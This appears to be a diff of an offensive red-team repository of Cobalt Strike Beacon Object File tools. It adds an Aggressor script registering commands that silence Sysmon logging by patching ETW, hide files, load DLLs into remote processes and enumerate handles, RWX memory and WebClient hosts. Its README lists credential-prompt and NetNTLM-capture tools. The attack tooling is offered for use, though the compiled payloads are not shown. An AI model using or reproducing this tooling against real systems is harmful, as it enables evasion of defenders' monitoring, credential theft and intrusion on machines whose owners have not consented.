+    "INFO:\nFind process and thread handle types between processes.\n\nOPTIONS:\n[all]: list all processes with handles to all other processes\n[h2p]: list all processes that have a handle to a specific process\n[p2h]: list handles from a specific process to all other processes\n\nHandle Query Options:\n[proc]: search for PROCESS type handles\n[thread]: search for THREAD type handles\n\nTargeted Search Options:\n[<pid>]: for both the [h2p] and [p2h] search options, specify the PID of the process your interested in.\n\n" .
+    "USAGE:\nenumhandles all <proc | thread>\nenumhandles h2p <proc | thread> <pid>\nenumhandles p2h <proc | thread> <pid>\n\n");
+
+
+alias enumhandles {
+    $bid = $1;
+    $search = $2;
+    $query = $3;
+    $pid = $4;
+
+    if ($search eq "") {
+        berror($bid, "Please specify one of the following seach options: all | h2p | p2h\n");
+        return;
+    }
+
+    if ($search eq "all" || $search eq "h2p" || $search eq "p2h") {
+        if ($query eq "") {
+            berror($bid, "Please specify one of the following handle types to search for: proc | thread\n");
+            return;
+        }
+        if ($query eq "proc" || $query eq "thread") {
+            if ($search eq "h2p" && $pid eq "" ) {
+                berror($bid, "Please specify the pid to target a specific process.\n");
+                return;
+            }
+            if ($search eq "p2h" && $pid eq "" ) {
+                berror($bid, "Please specify the pid to target a specific process.\n");
+                return;
+            }
+        }
+        else {
+            berror($bid, "This handle type isn't supported. Please specify one of the following handle types to search for: proc | thread\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This option isn't supported. Please specify one of the following seach options: all | h2p | p2h\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumHandles/enumhandles.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    if ($pid eq "") {
+        $arg_data  = bof_pack($bid, "zz", $search, $query);
+    }
+    else {
+        $arg_data  = bof_pack($bid, "zzi", $search, $query, $pid);
+    }
+
+    blog($bid, "Tasked to enumerate handles..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumlib", "Find loaded module(s) in remote process(es)",
+    "INFO:\nFind a specific loaded module in all processes OR list all loaded modules in a specific process.\n\nOPTIONS:\n[search]: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).\n[list]: list all loaded modules in a remote process.\n\n" .
+    "USAGE:\nenumlib search <module name>\nenumlib list <pid>\n\n");
+	
+
+
+alias enumlib {
+    $bid = $1;
+    $option = $2;
+    $target = $3;
+
+    if ($option eq "") {
+        berror($bid, "Please specify one of the following enumeration options: search | list\n");
+        return;
+    }
+
+    if ($option eq "search" || $option eq "list") {
+        if ($option eq "search" && $target eq "") {
+            berror($bid, "Please specify a module name to search for\n");
+            return;
+        }
+
+        if ($option eq "list" && $target eq "") {
+            berror($bid, "Please specify the pid of the target process to enumerate\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumLib/enumlib.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    if ($option eq "search") {
+       $arg_data  = bof_pack($bid, "zz", $option, $target);
+    }
+    else {
+        $arg_data  = bof_pack($bid, "zi", $option, $target);
+    }
+
+    blog($bid, "Tasked to enumerate loaded modules..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumrwx", "Enumerate RWX memory regions in a target process.",
+    "INFO:\nFind processes that already have memory allocated for read/write/execute (like most .NET processes)\n\nOPTIONS:\n[pid]: target process to enumerate\n\n" .
+    "USAGE:\nenumrwx <pid>\n\n");
+
+alias enumrwx {
+    $bid = $1;
+    $pid = $2;
+
+    if ($pid eq "") {
+        berror($bid, "Please make sure that the PID of the target process is specified.");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumRWX/enumrwx.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "i", $pid);
+
+    blog($bid, "Tasked to verify if the target process has RWX memory regions..");
+
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumsysmon", "Verify if Sysmon is running.",
+    "INFO:\nVerify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.\n\nOPTIONS:\n[reg]: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.\n[driver]: list all the Minifilter drivers on the system to check manually (requires elevated privileges).\n\n" .
+    "USAGE:\nenumsysmon <reg | driver>\n\n");
+
+
+alias enumsysmon {
+    $bid = $1;
+    $action = $2;
+
+    if ($action eq "reg" || $action eq "driver") {
+    }
+    else {
+        berror($bid, "Please specify one of the following enumeration options: reg | driver\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumSysmon/enumsysmon.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+    blog($bid, "Tasked to find Sysmon..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"enumwebclient", "Find running WebClient services.",
+	"INFO:\nFind hosts with the WebClient service running based on a list with predefined hostnames or IP addresses. The list is loaded from your own attacker system.\n\n" .
+	"ARGUMENTS:\n[<path to file>]: the path on your own attacker system to the file containing the list with predefined hostnames. Each hostname must be newline separated.\n[debug]: optional argument to include hostnames in the output that couldn't be reached or on which the WebClient was not running.\n\n" .
+	"USAGE:\nenumwebclient <path to hostname file> [opt:debug]\n\n" .
+	"EXAMPLES:\nenumwebclient C:\\Users\\redmed\\Documents\\hostnames.txt\nenumwebclient C:\\Users\\redmed\\Documents\\hostnames.txt debug\n\n");
+	
+alias enumwebclient {
+    $bid = $1;
+	$path = $2;
+	$debug = $3;
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path on your own attacker system to the file containing the list with newline separated hostnames.\n");
+		return;
+	}
+
+	
+	# read in the .txt file
+	$handle = openf("$path");
+	$file = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumWebClient/enumwebclient.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "bz", $file, $debug);
+
+	blog($bid, "Tasked to find running WebClient services..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"forcelockscreen", "Force the lock screen of the current user session.",
+	"INFO:\nForce the lock screen of the current user session.\n\n" .
+	"USAGE:\nforcelockscreen\n\n");
+	
+alias forcelockscreen {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/ForceLockScreen/forcelockscreen.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+
+    $arg_data  = bof_pack($bid);
+
+    blog($bid, "Tasked to lock the current user's screen..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "hidefile", "Hide file or directory by setting it's attributes to systemfile + hidden.",
+    "INFO:\nHide a directory or file from plain sight by modifying the attributes and set them to systemfile + hidden.\n\nOPTIONS:\n[dir]: set this option if you want to modify the attributes of a directory.\n[file]: set this option if you want to modify the attributes of a file.\n[<path to dir/file>]: path to the directory or file that you want to hide.\n\n" .
+    "USAGE:\nhidefile <dir | file> <path to dir/file>\n\n");
+
+
+alias hidefile {
+    $bid = $1;
+    $option = $2;
+    $path = $3;
+
+    if ($option eq "") {
+        berror($bid, "Please specify one of the following options: dir | file\n");
+        return;
+    }
+
+    if ($option eq "dir" || $option eq "file") {
+        if ($path eq "") {
+            berror($bid, "Please specify the correct path to the target directory or file.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This option isn't supported. Please specify one of the following options: dir | file\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/HideFile/hidefile.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zZ", $option, $path);
+
+    blog($bid, "Tasked to hide directory or file..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"idletime", "Check current user activity based on the user's last input",
+	"INFO:\nCheck current user activity based on the user's last input. Returns the time in format HH:MM:SS.\n\n" .
+	"USAGE:\nidletime\n\n");
+	
+alias idletime {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/IdleTime/idletime.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	blog($bid, "Tasked to check user activity..");
+    beacon_inline_execute($bid, $data, "go", $null);
+}
+
+
+beacon_command_register(
+    "loadlib", "Load DLL from disk in remote process via RPC call.",
+    "INFO:\nLoad a on disk present DLL via RtlRemoteCall API in a remote process.\nDepending on the process from which you run this tool, it may or may not work.\n\nOPTIONS:\n[pid]: target process to load the DLL into\n[path]: full path to the on disk present DLL\n\n" .
+    "USAGE:\nloadlib <pid> <path to dll>\n\n");
+
+
+alias loadlib {
+    $bid = $1;
+    $pid = $2;
+    $path = $3;
+
+    if ($pid eq "" || $path eq "") {
+        berror($bid, "Please make sure that both the PID and PATH are specified.");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/LoadLib/loadlib.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "iz", $pid, $path);
+
+    blog($bid, "Tasked to load DLL in remote process..");
+
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "psremote", "List all running processes on a remote host.",
+    "INFO:\nGet a list of all processes running on the remote host.\n\n" .
+    "USAGE:\npsremote <FQDN or IP remote host>\n\n");
+
+
+alias psremote {
+    $bid = $1;
+    $remotehost = $2;
+
+    # read in the right BOF file
+    $handle = openf(script_resource("KIT/PSremote/psremote.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+    # pack our arguments
+    $arg_data = bof_pack($bid, "z", $remotehost);
+
+    blog($bid, "Tasked to list running processes..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "silencesysmon", "Silence Sysmon by patching its capability to write ETW events to the log.",
+    "INFO:\nSilence the Sysmon service by patching its capability to write ETW events to the log.\nRestarting the Sysmon service or the system itself will clear the patch and Sysmon will resume working normally.\nAltough this will not leave any traces in the log, there will be a time gap between the last and first new event.\n\nOPTIONS:\n[pid]: the process ID of the Sysmon service running on the system.\n\n" .
+    "USAGE:\nsilencesysmon <sysmon pid>\n\n");
+
+
+alias silencesysmon {
+    $bid = $1;
+    $pid = $2;
+
+    if ($pid eq "") {
+        berror($bid, "Please specify the process ID of the Sysmon service.\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/SilenceSysmon/silencesysmon.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "i", $pid);
+
+    blog($bid, "Tasked to silence Sysmon..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"systeminfo", "Enumerate system information.",
+	"INFO:\nEnumerate system information via WMI.\n\n" .
+	"USAGE:\nsysteminfo\n\n");
+	
+alias systeminfo {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/SystemInfo/systeminfo.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	$arg_data  = bof_pack($bid);
+
+	blog($bid, "Tasked to connect to ROOT\\CIMV2 to fetch system information..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

+ 14 - 11
README.md

@@ -1,8 +1,8 @@
 # OperatorsKit
-This repository contains a collection of tools that integrate with Cobalt Strike through Beacon Object Files (BOFs).  
+This repository contains a collection of Beacon Object Files (BOFs) that integrate with Cobalt Strike.  
 
 ## Kit content
-The following tools are currently in the operators' kit: 
+The following tools are currently in the OperatorsKit: 
 
 |Name|Description|
 |----|----------|
@@ -14,22 +14,23 @@ The following tools are currently in the operators' kit:
 |**[CaptureNetNTLM](KIT/CaptureNetNTLM)**|Capture the NetNTLMv2 hash of the current user.|
 |**[CredPrompt](KIT/CredPrompt)**|Start persistent credential prompt in an attempt to capture user credentials.|
 |**[DelFirewallRule](KIT/DelFirewallRule)**|Delete a firewall rule.|
+|**[DelExclusion](KIT/DelExclusion)**|Delete an exclusion from Windows Defender for a folder, file, process or extension.|
 |**[DelLocalCert](KIT/DelLocalCert)**|Delete a local computer certificate from a specific store.|
 |**[DelTaskScheduler](KIT/DelTaskScheduler)**|Delete a scheduled task on the current- or a remote host.|
 |**[DllEnvHijacking](KIT/DllEnvHijacking)**|BOF implementation of DLL environment hijacking published by [Wietze](https://www.wietzebeukema.nl/blog/save-the-environment-variables).|
+|**[EnumDotnet](KIT/EnumDotnet)**|Enumerate processes that most likely have .NET loaded.|
+|**[EnumExclusions](KIT/EnumExclusions)**|Check the AV for excluded files, folders, extentions and processes.|
+|**[EnumFile](KIT/EnumFile)**|Search for matching files based on a word, extention or keyword in the file content.|
+|**[EnumHandle](KIT/EnumHandle)**|Enumerate "process" and "thread" handle types between processes.|
+|**[EnumLib](KIT/EnumLib)**|Enumerate loaded module(s) in remote process(es).|
 |**[EnumLocalCert](KIT/EnumLocalCert)**|Enumerate all local computer certificates from a specific store.|
+|**[EnumRWX](KIT/EnumRWX)**|Enumerate RWX memory regions in a target process.|
 |**[EnumSecProducts](KIT/EnumSecProducts)**|Enumerate security products (like AV/EDR) that are running on the current/remote host.|
 |**[EnumShares](KIT/EnumShares)**|Enumerate remote shares and your access level using a predefined list with hostnames.|
+|**[EnumSysmon](KIT/EnumSysmon)**|Verify if Sysmon is running by checking the registry and listing Minifilter drivers.|
 |**[EnumTaskScheduler](KIT/EnumTaskScheduler)**|Enumerate all scheduled tasks in the root folder.|
+|**[enumWebClient](KIT/EnumWebClient)**|Find hosts with the WebClient service running based on a list with predefined hostnames.|
 |**[EnumWSC](KIT/EnumWSC)**|List what security products are registered in Windows Security Center.|
-|**[FindDotnet](KIT/FindDotnet)**|Find processes that most likely have .NET loaded.|
-|**[FindExclusions](KIT/FindExclusions)**|Check the AV for excluded files, folders, extentions and processes.|
-|**[FindFile](KIT/FindFile)**|Search for matching files based on a word, extention or keyword in the file content.|
-|**[FindHandle](KIT/FindHandle)**|Find "process" and "thread" handle types between processes.|
-|**[FindLib](KIT/FindLib)**|Find loaded module(s) in remote process(es).|
-|**[FindRWX](KIT/FindRWX)**|Find RWX memory regions in a target process.|
-|**[FindSysmon](KIT/FindSysmon)**|Verify if Sysmon is running by checking the registry and listing Minifilter drivers.|
-|**[FindWebClient](KIT/FindWebClient)**|Find hosts with the WebClient service running based on a list with predefined hostnames.|
 |**[ForceLockScreen](KIT/ForceLockScreen)**|Force the lock screen of the current user session.|
 |**[HideFile](KIT/HideFile)**|Hide a file or directory by setting it's attributes to systemfile + hidden.|
 |**[IdleTime](KIT/IdleTime)**|Check current user activity based on the user's last input.|
@@ -41,7 +42,9 @@ The following tools are currently in the operators' kit:
 ## Usage
 Each individual tool has its own README file with usage information and compile instructions. 
 
+It is also possible to directly import all tools by loading the `OperatorsKit.cna` script using the Cobalt Strike script manager. Furthermore, mass compiling can now be done using the `compile_all.bat` script from within the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal. 
+
 ## Credits
-A round of virtual applause to [reenz0h](https://twitter.com/SEKTOR7net). Lots of tools in this kit are based on his code examples from the Malware Development and Windows Evasion courses. I highly recommend purchasing them!
+A round of virtual applause to [reenz0h](https://twitter.com/SEKTOR7net). Multiple tools in this kit are based on his code examples from the Malware Development and Windows Evasion courses. I highly recommend purchasing them!
 
 Furthermore, some code from the [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c) project is used to neatly print beacon output. 

+ 10 - 0
compile-all.bat

@@ -0,0 +1,10 @@
+@ECHO OFF
+
+for /r %%i in (*.bat) do (
+    if "%%i" neq "%~f0" (
+        echo Running %%i
+        pushd "%%~dpi"
+        call "%%i"
+        popd
+    )
+)